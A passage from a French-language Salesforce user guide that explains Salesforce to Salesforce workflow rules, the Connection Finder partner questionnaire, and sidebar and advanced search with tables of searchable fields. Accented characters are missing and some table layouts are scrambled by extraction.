Champ Dernire modification effectue par gal Utilisateur connect.

Par exemple, vous pouvez crer une tche pour un utilisateur chaque fois qu'une connexion met jour une piste :
1. Cliquez sur Configuration Crer Workflow & approbations Rgles de Workflow pour accder la page de
liste des rgles de workflow.
2. Dans la page de liste des rgles de workflow, cliquez sur Nouvelle rgle.
3. Choisissez Piste pour l'objet auquel vous voulez appliquer cette rgle de workflow, puis cliquez sur Suivant.
4. Saisissez le nom de la rgle.
5. Paramtrez le critre d'valuation sur chaque cration ou modification d'un enregistrement.
6. Choisissez d'excuter la rgle lorsque les critres sont remplis.
7. Saisissez le critre de rgle suivant : Piste : Dernire modification effectue par gal Utilisateur connect .
8. Cliquez sur Enregistrer et Suivant.
9. Ajoutez une tche de workflow. Pour plus d'informations, reportez-vous Cration de tches de workflow et
d'approbations la page 739.
10. Cliquez sur Termin.
Vous pouvez utiliser le workflow pour de nombreux processus Salesforce to Salesforce, y compris la mise jour de valeurs
des listes de slection lorsqu'une connexion a modifi le champ. Lorsque vous acceptez un enregistrement, les rgles de
workflow ne sont dclenches que par les champs suivants :
Remarque: Si votre organisation est dfinie pour accepter automatiquement les enregistrements, les rgles de
workflow sont dclenches par tout champ auquel vous tes abonn.
Compte
-

Nom du compte
Ville
Pays

Salesforce to Salesforce

Nom de connexion en rception

Nom de connexion en envoi
Dpartement/Rgion
Type

Requte
-

Numro de la requte
Priorit
Statut
Objet
Type

Contact
-

E-mail
Nom
Adresse postale
Tlphone
Titre

Piste
-

Socit
E-mail
Secteur d'activit
Piste
Origine de la piste
Nom
Nombre d'employs
Tlphone
Nom de connexion en rception
Nom de connexion en envoi
Dpartement/Rgion
Statut
Titre

Opportunit
-

Nom du compte
Montant
Date de clture
Nom
Nom de connexion en rception
Nom de connexion en envoi
tape

Guide de l'utilisateur | Conseils pour l'utilisation de Salesforce to Salesforce | 1887

Salesforce to Salesforce

Guide de l'utilisateur | Conseils pour l'utilisation de Salesforce to Salesforce | 1888

Objet personnalis
-

Nom de connexion
Nom
Date de l'envoi

Toutes les mises jour apportes par la suite des champs figurant dans des enregistrements accepts dclencheront des
rgles de workflow.
Autres astuces

Vous pouvez vous connecter des partenaires sans savoir s'ils utilisent Salesforce.com grce la recherche de connexions.
Ajoutez l'utilisateur connect vos journaux de dbogage pour pouvoir suivre les mises jour qu'il effectue.
Accordez l'autorisation Grer les files d'attente tous les utilisateurs dots de l'autorisation Grer les connexions. Cela leur
permet de crer et de grer des files d'attente pour des connexions sans solliciter l'aide d'un administrateur.
Lorsque vous publiez des champs, pensez envoyer les informations correspondantes vos partenaires commerciaux. Cela
leur permet de crer une stratgie de mappage adapte votre programme.
Traduisez les noms de vos champs personnaliss dans les langues qu'utilisent vos partenaires. Cela leur permet de voir le
nom des champs dans leur propre langue.
Si des connexions Salesforce to Salesforce sont actives dans la version test sandbox, vous devez les dsactiver et les ractiver
aprs l'actualisation de la version test sandbox.

Voir aussi :
Page d'accueil des rapports

Recherche de connexions
propos de la Recherche de connexions
Disponible avec : Group Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Si vos partenaires utilisent Salesforce.com, il est prfrable de connecter vos organisations Salesforce.com afin de partager des
enregistrements et de collaborer sur des processus mtiers appropris. Avant de vous connecter, vous devez dterminer si vos
partenaires utilisent Salesforce.com. Utilisez la Recherche de connexions pour envoyer par e-mail vos partenaires un simple
questionnaire leur demandant s'il utilisent Salesforce.com. Les rponses au questionnaire sont enregistres dans les
enregistrements de contact et de compte de chaque partenaire. Vous pouvez ensuite crer une vue de liste personnalise ou un
rapport personnalis pour suivre les rponses au questionnaire dans un emplacement unique et adapt. Lorsque vous connaissez
le statut d'un partenaire, vous pouvez les inviter se connecter l'aide de Salesforce to Salesforce.

Voir aussi :
Configuration de la Recherche de connexions
Dterminer si vos partenaires utilisent Salesforce.com

Configuration de la Recherche de connexions

Disponible avec : Group Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour activer la Recherche de connexions et modifier ses
paramtres :

Modifier toutes les donnes

La Recherche de connexions permet d'envoyer des questionnaires par e-mail pour dterminer si vos partenaires sont des clients
Salesforce.com. Lorsque vous connaissez le statut d'un partenaire, vous pouvez les inviter se connecter l'aide de Salesforce
to Salesforce.
Pour utiliser la recherche de connexions, vous devez excuter les oprations suivantes :
1. Activer la recherche de connexions dans votre organisation.
2. Configurer les paramtres de recherche de connexions.
3. Ajouter le bouton Rechercher des connexions la vue de liste des contacts en personnalisant la prsentation de la recherche.
Ajouter le bouton la page de dtails du contact en personnalisant la prsentation de page des contacts.
4. Ajouter le champ Utilise salesforce.com la prsentation de page des contacts.
5. Ajouter le champ Client Salesforce.com la prsentation de page du compte.

Recherche de connexions

Guide de l'utilisateur | Configuration de la Recherche de connexions | 1890

Remarque: Vous pouvez crer des rapports personnaliss l'aide des champs Utilise salesforce.com et
Client Salesforce.com.
Les champs Utilise salesforce.com et Client Salesforce.com s'affichent galement dans le portail
client ou le portail partenaire que vous dfinissez.

Activation de la Recherche de connexions

Pour activer la recherche de connexions :
1.
2.
3.
4.

Accdez Configuration Personnalisation Salesforce to Salesforce Recherche de connexions.

Cliquez sur Modifier.
Slectionnez Activ.
Cliquez sur Enregistrer.

Les paramtres de recherche de connexions peuvent dsormais tre configurs. En outre, le modle d'e-mail par dfaut et les
champs associs requis sont crs et disponibles.
Remarque: La dsactivation de la recherche de connexions dsactive les questionnaires en attente et retire le bouton
Rechercher des connexions. Les champs Utilise salesforce.com et Client Salesforce.com sont conservs
dans les enregistrements de contacts et de comptes, respectivement.
Configuration des paramtres de Recherche de connexions
Vous pouvez dterminer le contenu et la prsentation de l'e-mail que vous envoyez aux partenaires.
1. Accdez Configuration Personnalisation Salesforce to Salesforce Recherche de connexions.
2. Cliquez sur Modifier.
3. Slectionnez un modle de message.
Le modle recherche de connexions par dfaut est automatiquement slectionn. Vous pouvez galement crer des modles
d'e-mail personnaliss pour votre questionnaire.
Remarque: Les modles d'e-mail personnaliss doivent contenir l'URL du questionnaire.
{!Contact.PartnerSurveyURL} est disponible en tant que champ de fusion d'un contact lors de la cration
de modles.
4. Vous pouvez galement slectionner un logo l'aide de la recherche.
Remarque: Commencez par tlcharger votre logo sous l'onglet Documents, puis marquez-le comme Image
accessible en externe.
Salesforce.com recommande d'ajouter un logo de marque, tel qu'il s'affiche en haut de la page du questionnaire. Si aucun
logo n'est slectionn, la partie rserve au logo dans la page du questionnaire reste vide.
5. Cliquez sur Enregistrer.

Voir aussi :
Dterminer si vos partenaires utilisent Salesforce.com
Conseils et considrations supplmentaires pour la Recherche de connexions

Recherche de connexions

Guide de l'utilisateur | Dterminer si vos partenaires utilisent Salesforce.com | 1891

Dterminer si vos partenaires utilisent Salesforce.com

Disponible avec : Group Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour demander par e-mail aux partenaires s'ils utilisent
Salesforce.com :

Envoyer un e-mail (un seul destinataire)

OU
Envoyer des e-mails en masse (plusieurs destinataires)

Si vos partenaires utilisent Salesforce.com, il est prfrable de connecter vos organisations Salesforce.com afin de partager des
enregistrements et de collaborer sur des processus mtiers appropris. Avant de vous connecter, vous devez dterminer si vos
partenaires utilisent Salesforce.com. Utilisez la Recherche de connexions pour envoyer par e-mail vos partenaires un simple
questionnaire leur demandant s'il utilisent Salesforce.com. Les rponses au questionnaire sont enregistres dans les
enregistrements de contact et de compte de chaque partenaire. Vous pouvez ensuite crer une vue de liste personnalise ou un
rapport personnalis pour suivre les rponses au questionnaire dans un emplacement unique et adapt. Lorsque vous connaissez
le statut d'un partenaire, vous pouvez l'inviter se connecter l'aide de Salesforce to Salesforce.
1. Dans le vue de liste Contact, slectionnez les partenaires que vous souhaitez questionner, puis cliquez sur Rechercher des
connexions. Vous pouvez galement cliquer sur Rechercher des connexions dans la page de dtails d'un contact.
Remarque: Rechercher des connexions ne s'affiche pas dans les cas suivants :

L'enregistrement du contact ne contient aucune adresse e-mail valide

Le contact n'est associ aucun compte

Si le contact est un compte personnel, Rechercher des connexions s'affiche dans le vue de liste, mais un message
d'erreur s'ouvre lorsque l'utilisateur clique sur le bouton. Rechercher des connexions ne s'affiche pas dans la page
de dtails d'un contact.
2. Saisissez l'objet de l'e-mail.
3. Modifiez le corps du texte fourni avec le modle par dfaut ou cliquez sur Slectionner un modle pour choisir un autre
modle d'e-mail.
Remarque: Le modle d'e-mail par dfaut est slectionn par votre administrateur. Vous pouvez slectionner un
modle diffrent ou modifier le corps du texte, mais vous devez inclure l'URL du questionnaire :
{!Contact.PartnerSurveyURL}.
Vous ne pouvez pas modifier le corps du texte si vous slectionnez plusieurs destinataires.
4. Cliquez sur Vrifier l'orthographe pour contrler le corps du texte.
5. Cliquez sur Aperu pour prvisualiser l'e-mail envoy au destinataire.
6. Cliquez sur Envoyer.
L'e-mail est envoy aux partenaires slectionns, qui disposent de 90 jours pour rpondre au questionnaire avant l'expiration
du lien. La rponse d'un partenaire est enregistre dans le champ Utilise salesforce.com de l'enregistrement de contact
du partenaire et dans le champ Client Salesforce.com de l'enregistrement de compte.

Recherche de connexions

Guide de l'utilisateur | Conseils et considrations supplmentaires pour la Recherche de connexions | 1892

Conseil: Salesforce.com recommande de crer une vue de liste personnalise ou un rapport personnalis pour vous
permettre de suivre les rponses des clients dans un emplacement unique et adapt.
Si l'organisation du partenaire utilise Salesforce.com, le questionnaire affiche une section qui demande si le destinataire dispose
de droits d'administrateur pour Salesforce.com. Dans la ngative, le destinataire peut inidquer les coordonnes de son
administrateur et un enregistrement de contact est cr dans Salesforce.com pour cet utilisateur, si n'existe pas dj.
Remarque: Cette section ne s'affiche pas si un contact de ce partenaire, dont la valeur Utilise salesforce.com
est Oui, utilisateur admin, existe dj dans votre organisation.

Voir aussi :
Configuration de la Recherche de connexions
Conseils et considrations supplmentaires pour la Recherche de connexions
Prsentation de Salesforce to Salesforce

Conseils et considrations supplmentaires pour la

Recherche de connexions
Disponible avec : Group Edition, Professional Edition, Enterprise Edition et Unlimited Edition

Crez une vue de liste personnalise ou un rapport personnalis pour suivre les rponses au questionnaire dans un
emplacement unique. Ajoutez le champ Utilise salesforce.com aux vues de liste et aux rapports de contacts. Ajoutez
le champ Client Salesforce.com aux vues de liste et aux rapports de comptes.
Crez des versions traduites du modle de recherche par dfaut pour envoyer des informations des partenaires
internationaux. Pour cela, clonez le modle par dfaut, modifiez la langue si ncessaire et insrez l'URL de questionnaire
suivante : {!Contact.PartnerSurveyURL}. Vous pouvez slectionner le modle appropri en envoyant des requtes
vos partenaires.
Remarque: La page du questionnaire est en Anglais, mais elle comprend une liste droulante Langue qui permet
aux destinataires de slectionner la page dans leur langue maternelle.

Si un partenaire fournit des dtails sur son administrateur Salesforce.com, Salesforce.com vrifie si un contact de votre
organisation Salesforce.com possde dj cette adresse e-mail. Si c'est le cas, le champ Utilise salesforce.com dans
l'enregistrement du contact est dfini sur Oui, utilisateur admin. Si le champ est dj dfini sur Non, il n'est pas
mis jour.
Remarque: Un partenaire peut ajouter un administrateur uniquement si aucun n'existe dans les contacts de votre
organisation.

Le champ Client Salesforce.com dpend des valeurs du champ Utilise salesforce.com de son contact.

Recherche de balises
Prsentation de la recherche
Disponible avec : Toutes les ditions

Il existe deux faons principales de rechercher des enregistrements et des balises dans Salesforce.com : la recherche via le menu
latral et la recherche avance, accessible partir d'un lien situ dans le menu latral. Le tableau suivant prsente les principales
diffrences entre ces deux mthodes :
Recherche par le menu latral

Recherche avance

Les recherches sont automatiquement traites en tant que

Les termes de la recherche sont considrs comme des entits
recherche d'expression. Ainsi, la recherche renvoie uniquement indpendantes, qui peuvent tre trouves dans des champs
les termes qui se prsentent dans la squence exacte.
indexs distincts d'un enregistrement. Les termes sont spars
par des lettres, des chiffres et des marques de ponctuation.
Par exemple, la recherche de batrice dupont renvoie
les lments qui contiennent Batrice Dupont, mais pas Ba Par exemple, la recherche de batrice dupont renvoie
Dupont ni Ba T Dupont. De mme, la recherche de cpte!4 les lments qui contiennent batrice dupont, ainsi qu'un contact
renvoie uniquement les lments qui contiennent cpte!4.
dont le nom est batrice leroy et dont l'adresse e-mail est
bleroy@dupont.com.
Remarque: En chinois, en japonais et en coren, vous
pouvez rechercher une personne en saisissant le nom Dans les requtes de recherche avance, les squences de
de famille avant le prnom ; la recherche de dupont caractres alphabtiques, numriques et spciaux sont divises
batrice renvoie toutes les personnes qui s'appellent en termes de recherche distincts. Par exemple, la recherche de
batrice dupont.
cpt!4 renvoie les lments qui contiennent Cpt, ! et 4, mme
si ces termes sont spars dans l'lment.
Un caractre gnrique * (astrisque) est automatiquement
ajout la fin de la chane de recherche. Par exemple, la
recherche de batrice du renvoie des lments tels que
Batrice Durand et Batrice Dumas.

Le caractre gnrique * n'est pas ajout la recherche.

Vous pouvez utiliser les caractres gnriques * et ? (point

Vous pouvez utiliser les caractres gnriques * et ? pour
d'interrogation) pour affiner vos rsultats de recherche. Utilisez afficner vos rsultats. Vous pouvcez galement utiliser les
* pour envoyer un ou plusieurs caractres, ou ? pour renvoyer oprateurs spciaux AND, OR, AND NOT et " " (guillemets).
un seul caractre. Il n'est pas possible d'utiliser des oprateurs
spciaux.
Les recherches s'effectuent uniquement dans un sous-ensemble La recherche se fait dans un ensemble de champs plus tendu,
de champs spcifique, qui inclut les champs de nom, de
y compris les champs de texte longs tels que les descriptions,
tlphone, d'e-mail et d'adresse standard.
les commentaires d'vnement et de tche et les notes.

Recherche de balises

Guide de l'utilisateur | Fonctionnement de la recherche | 1894

Autres outils de recherche

Les onglets suivants offrent des outils de recherche uniques. Ces onglets ne peuvent tre faire l'objet d'une recherche l'aide
de la recherche du menu latral ou de la recherche avance ; utilisez la fonctionnalit de recherche de l'onglet pour rechercher
des enregistrements de ce type.

Solutions
Documents
Salesforce CRM Content
Produits
Articles
Gestion des articles
Conseil: Votre administrateur peut personnaliser votre onglet Accueil afin d'inclure la recherche de produits, de
documents ou de solutions dans le menu latral.

Voir aussi :
Fonctionnement de la recherche
Recherche via la bote de dialogue Recherche
Affichage des rsultats de recherche
Conseils de recherche
Filtrage des rsultats de recherche
Parcours, recherche et gestion des balises
Personnalisation des prsentations de recherche
Utilisation de la fentre Aide & formation

Fonctionnement de la recherche
Disponible avec : Toutes les ditions

Toutes les recherches dans Salesforce.com utilisent des algorithmes personnaliss qui prennent en compte plusieurs variables,
dont :

Les termes recherchs saisit par l'utilisateur

Les mots ignors dans les termes recherchs (par exemple, le , et pour )
Les racinisations des termes recherchs (par exemple, la recherche de soumises renvoie les lments qui contiennent
soumis)
Proximit des termes recherchs dans un enregistrement
Responsable d'enregistrement
Les enregistrements les plus rcemment accds
Les enregistrements les plus frquemment accds

Recherche de balises

Guide de l'utilisateur | Recherche d'enregistrements | 1895

Comme chaque recherche est configure pour l'utilisateur qui l'effectue, deux utilisateurs peuvent obtenir des rsultats diffrents
pour la mme recherche. Par exemple, si un utilisateur a rcemment affich un enregistrement, cet affichage augmente la
pertinence de cet enregistrement et le dplace vers le haut de la liste des rsultats de sa recherche. Les enregistrements deviennent
galement plus pertinents s'ils appartiennent l'utilisateur qui effectue la recherche ou s'ils sont utiliss frquemment par
d'autres membres de l'entreprise.
Remarque: Il est possible d'effectuer une recherche dans les champs masqus pour un utilisateur via la scurit au
niveau du champ. Lors de la recherche d'une valeur dans un champ masqu, les rsultats comprennent l'enregistrement
contenu dans le champ, mme si les utilisateurs ne peuvent pas l'afficher.

Voir aussi :
Prsentation de la recherche

Recherche d'enregistrements
Disponible avec : Toutes les ditions

Utilisation de la recherche du menu latral

Pour rechercher un enregistrement partir de la recherche du menu latral :
1. Dans la liste droulante Recherche, slectionnez le type d'enregistrement appropri ou slectionnez Rechercher tous pour
rechercher tous les enregistrements disponibles.
2. Entrez une chane de recherche dans la zone de saisie. Remarque : dans la recherche du menu latral, votre chane de
recherche est traite comme une phrase se terminant par un caractre gnrique * (astrisque).
3. Vous pouvez galement slectionner Limiter aux lments dont je suis responsable pour limiter les rsultats
de la recherche aux enregistrements dont vous tes le propritaire.
4. Si vous disposez de l'autorisation Affect par services, vous pouvez choisir d'effectuer la recherche seulement dans votre
service ou dans tous les services.
5. Cliquez sur OK.
Utilisation de la recherche avance
Les recherches avances s'effectuent sur davantage de champs que les recherches du menu latral, notamment sur les notes,
les descriptions et les commentaires. Pour rechercher un enregistrement l'aide de la recherche avance :
1. Dans le menu latral, cliquez sur Recherche avance.
2. Entrez une chane de recherche dans la zone de saisie. Dans la recherche avance, vous pouvez :

Utiliser des oprateurs tels que AND (ET), OR (OU) et AND NOT (ET PAS) pour affiner votre recherche.
Pour rechercher une expression exacte, placez des sries de mots cls entre guillemets, par exemple "appeler batrice
dupont".
Ajoutez un caractre gnrique * (astrisque) au milieu ou la fin de votre mot cl pour remplacer un ou plusieurs
caractres. Par exemple acme* renvoie dans les rsultats acme, acme1 et acme_outils.
Ajoutez un caractre gnrique ? (point d'interrogation) au mileiu ou la fin d'un mot cl pour emplacer un seul
caractre. Par exemple, ro?ane renvoie dans les rsultats romane, roxane et rouane.

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1896

3. Vous pouvez galement slectionner Limiter aux lments dont je suis responsable pour limiter les rsultats
de la recherche aux enregistrements dont vous tes le propritaire.
4. Vous pouvez slectionner Expression exacte pour limiter la recherche une expression exacte. Cette option quivaut
placer la chane de recherche entire entre guillemets.
5. Dans la zone Porte, slectionnez un ou plusieurs objets Salesforce.com pour lesquels vous souhaitez renvoyer des rsultats
de recherche. Si vous ne slectionnez pas d'objet dans cette zone, tous les objets possibles sont retourns par votre recherche.
Vous pouvez cliquer sur Slectionner tous or Dslectionner tous pour slectionner ou dslectionner rapidement tous
les objets.
6. Si vous disposez de l'autorisation Affect par services, vous pouvez spcifier au sein de quels services vous souhaitez
effectuer la recherche.
7. Cliquez sur Rechercher.

Voir aussi :
Prsentation de la recherche
Affichage des rsultats de recherche
Recherche via la bote de dialogue Recherche
Champs de recherche
Conseils de recherche
Filtrage des rsultats de recherche

Champs de recherche
Les types d'enregistrement sur lesquels vous pouvez effectuer des recherches dpendent de l'dition que vous utilisez.

Vous pouvez effectuer des recherches sur tous les champs indiqus dans les tableaux ci-dessous. La premire colonne mentionne
les champs sur lesquels porte la recherche, que ce soit en mode recherche via le menu latral ou en recherche avance. La
seconde colonne indique les champs supplmentaires sur lesquels porte la recherche en mode recherche avance uniquement.
Remarque: Il est possible d'effectuer une recherche dans les champs masqus pour un utilisateur via la scurit au
niveau du champ. Lors de la recherche d'une valeur dans un champ masqu, les rsultats comprennent l'enregistrement
contenu dans le champ, mme si les utilisateurs ne peuvent pas l'afficher.

Champs de compte professionnel

Champs de compte personnel
Champs d'actifs
Champs de pices jointes
Champs de campagne
Champs de requte
Champs de contact
Champs de contrat
Champs d'objet personnaliss
Champs de document
Champs Ide
Champs de piste

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1897

Champs de notes
Champs d'opportunit
Champs de catalogue de prix et de produit
Champs de question
Champs de rapport
Champs de solution
Balises
Champs de tches et d'vnements (activits) de calendrier
Champs d'utilisateur
Champs de recherche

Champs de compte professionnel

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom du compte

Adresse de facturation

Nom du compte (local)

Description

Numro du compte

Adresse d'expdition

Site du compte

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue, d'e-mails et de tlphone

Tlcopie
Tlphone
Symbole
Site Web

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de compte personnel

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom du compte

Adresse de facturation

Nom du compte (local)

Description

Numro du compte

Adresse postale

Site du compte

Autre adresse

Assistant

Adresse d'expdition

Tlphone de l'assistant(e)

Titre

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1898

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
E-mail

Tous les champs personnaliss de compte et de contact de

texte, de zone de texte, de zone de texte longue, d'e-mails et
de tlphone.

Tlcopie
Tlphone (domicile)
Mobile
Autre tlphone
Symbole
Site Web

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs d'actifs
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom d'actif

Description

Numro de srie

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue, d'e-mails et de tlphone.

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de pices jointes

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom de fichier

Champs de campagne
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom de la campagne

Description

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1899

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Tous les champs de numrotation automatique personnaliss Tous les champs personnaliss de texte, de zone de texte, de
et les champs personnaliss dfinis comme ID externes.
zone de texte longue, d'e-mails et de tlphone.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de requte
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Numro de la requte

Description

Notez qu'il est inutile de saisir de zros d'en-tte au cours

d'une recherche dans un champ numrot automatiquement.
Socit du site Web (de la personne qui a soumis la

Commentaires sur la requte

requte en ligne)
E-mail du site Web (de la personne qui a soumis la

requte en ligne)

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue, d'e-mails et de tlphone.

Nom du site Web (de la personne qui a soumis la requte

en ligne)
Tl. site Web (de la personne qui a soumis la requte en

ligne)
Objet

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de contact
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Assistant

Dpartement

Asst. Tlphone

Description

E-mail

Adresse postale

Tlcopie

Autre adresse

Prnom

Titre

Prnom (local)

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue, d'e-mails et de tlphone.

Tlphone (domicile)

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1900

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom
Nom (local)
Mobile
Autre tlphone
Tlphone

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de contrat
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom du contrat

Adresse de facturation

Numro du contrat

Description

Tous les champs de numrotation automatique personnaliss Adresse d'expdition

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.
Conditions spciales

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue, d'e-mails et de tlphone.

Champs d'objet personnaliss

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.
Tous les champs personnaliss d'e-mails et de tlphone.

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1901

Champs de document
Les fonctions de recherche ou de recherche avance du menu latral ne concernent pas les documents. Pour rechercher un
document, utilisez le bouton Rechercher le document de l'onglet Documents. Pour plus d'informations, reportez-vous
Recherche de documents la page 1383.
Champs Ide
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Titre

Description
Commentaire

Champs de piste
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Socit

Adresse

E-mail

Description

Tlcopie

Titre

Prnom

Tous les champs personnaliss de texte, de zone de texte, de

zone de texte longue, d'e-mails et de tlphone.

Prnom (local)
Nom
Nom (local)
Mobile
Tlphone

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de notes
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Titre

Corps

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1902

Champs d'opportunit
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom d'opportunit

Description

Tous les champs de numrotation automatique personnaliss Tous les champs personnaliss de texte, de zone de texte, de
et les champs personnaliss dfinis comme ID externes.
zone de texte longue, d'e-mails et de tlphone.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de catalogue de prix et de produit

Les fonctions de recherche ou de recherche avance du menu latral ne concernent pas les catalogues de prix ou les produits.
Pour rechercher un catalogue de prix ou un produit, utilisez plutt les zones de catalogue de prix et de recherche de produits
dans l'onglet Produits. Pour plus d'informations, reportez-vous Recherche de catalogues de prix et de produits la page 1674.
Champs de question
L'onglet Rponses dans Salesforce.com rpertorie toutes les questions postes vers une communaut de rponses.
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Titre de la question

Corps de la question
Corps de la rponse

Champs de rapport
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Nom du rapport
Description

Champs de solution
Les fonctions de recherche ou de recherche avance du menu latral ne concernent pas les solutions. Pour rechercher une
solution, utilisez plutt le bouton prvu cet effet dans l'onglet Solutions. Pour plus d'informations, reportez-vous Recherche
de solutions la page 1943.
Balises
Vous pouvez rechercher les balises dans la Recherche et la Recherche avance du menu latral.
Champs de tches et d'vnements (activits) de calendrier
Les activits archives sont accessibles uniquement via la recherche avance.

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1903

Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Objet

Commentaires

Tous les champs de numrotation automatique personnaliss Tous les champs personnaliss de texte, de zone de texte,
et les champs personnaliss dfinis comme ID externes.
d'e-mails et de tlphone.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs d'utilisateur
Seuls les utilisateurs actifs sont inclus dans les rsultats de la recherche.
Champs sur lesquels porte la fonction de recherche du menu Champs sur lesquels ne porte que la Recherche avance
latral et la recherche avance
Tous les champs personnaliss de texte, de zone de texte, de
zone de texte longue, d'e-mails et de tlphone.

E-mail
Prnom
Nom
Nom
Surnom
Tlphone
Nom d'utilisateur

Tous les champs de numrotation automatique personnaliss

et les champs personnaliss dfinis comme ID externes.
Notez qu'il est inutile de saisir de zros d'en-tte au cours
d'une recherche dans un champ numrot automatiquement.

Champs de recherche
L'icne de recherche apparat sous forme de loupe en regard de nombreux champs. Elle permet d'ouvrir une bote de dialogue
de recherche d'enregistrements. La liste ci-dessous recense les champs utiliss pour trouver une correspondance lors de la
recherche standard ou avance.
Type d'enregistrement

Champs recherchs dans les recherches Champs recherchs dans les recherches
standard
avancs

Compte

Nom du compte

Nom du compte

Nom du compte (local)

Nom du compte (local)

Campagne

Nom de la campagne

n.d.

Requte

Numro de la requte

n.d.

Communaut

Nom de communaut

n/a

Recherche de balises

Guide de l'utilisateur | Champs de recherche | 1904

Type d'enregistrement

Champs recherchs dans les recherches Champs recherchs dans les recherches
standard
avancs

Contact

Prnom

Prnom

Prnom (local)

Prnom (local)

Nom

Nom

Nom (local)

Nom (local)

Nom du contrat

n.d.

Contrat

Numro du contrat

Discussion

Titre

n/a

Document

Nom du document

n.d.

Mots-cls

Ide

Titre

n/a

Piste

Socit

n.d.

Socit (locale)
Nom
Prnom (local)

Opportunit

Nom du compte

n.d.

Nom d'opportunit

des produits

Code du produit

n.d.

Utilisateur libre-service

Prnom

n.d.

Nom

Solution

Titre de la solution

n.d.

Utilisateur

Prnom

Prnom

Remarque: Seuls les utilisateurs Nom

actifs peuvent tre recherchs.
Nom

Nom
Nom

Recherche de balises

Guide de l'utilisateur | Utilisation de caractres gnriques et d'oprateurs dans les recherches | 1905

Type d'enregistrement

Champs recherchs dans les recherches Champs recherchs dans les recherches
standard
avancs

Objets personnaliss

Nom

Nom

Voir aussi :
Conseils de recherche
Prsentation de la recherche
Fonctionnement de la recherche
Recherche de documents
Recherche de catalogues de prix et de produits
Recherche de solutions

Utilisation de caractres gnriques et d'oprateurs dans

les recherches
Disponible avec : Toutes les ditions
Les oprateurs spciaux ne sont pas disponibles dans : Connect Offline

Vous pouvez recourir des caractres gnriques et des oprateurs spciaux pour affiner les rsultats.
Caractres gnriques
Quel que soit le type de recherche (via le menu latral, recherche avance, recherche de produits, de rapports et de solutions),
